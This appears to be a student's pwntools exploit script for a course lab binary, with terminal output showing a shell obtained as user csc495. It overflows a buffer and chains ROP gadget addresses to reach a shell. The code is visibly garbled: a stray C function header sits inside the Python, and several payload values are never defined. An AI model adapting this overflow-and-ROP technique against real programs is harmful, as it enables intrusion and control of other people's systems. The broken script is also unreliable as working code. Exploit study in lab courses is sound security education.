



```
from pwn import *
void add_bin(int arg1, int arg2) {
def main():
    # start a process
    p = process("./lab2")

    # create payload
    # 1. Trigger Buffer overflow
    payload = "A"* 112

    # 2. Find ROP gadget 'bash'
    exec_string = 0x5655619d
    add_bin = 0x565561c8
    add_bash = 0x5655621e

    # 3. combine and formulate payload
    payload += p32(add_bin)
    payload += p32(pop_pop_ret)
    payload += p32(magic1)
    payload += p32(magic2)

    payload += p32(add_bash)
    payload += p32(pop_pop_pop_ret)
    payload += p32(cafebabe)
    payload += p32(badfood)
    payload += p32(fourtwo)

    payload += p32(exec_string)

    # send the payload to the binary
    p.send(payload)

    # pass interaction bac to the user
    p.interactive()

if __name__ == "__main__":
    main()
```

```
[csc495@csc495-pc Lab2]$ python lab2_exp.py
[+] Starting local process './lab2': pid 11166
[*] Switching to interactive mode
$ whoami
csc495
$ id
uid=1000(csc495) gid=1001(csc495) groups=1001(csc495),90(network),98(power),99(lp),998(wheel),1000(autologin)
```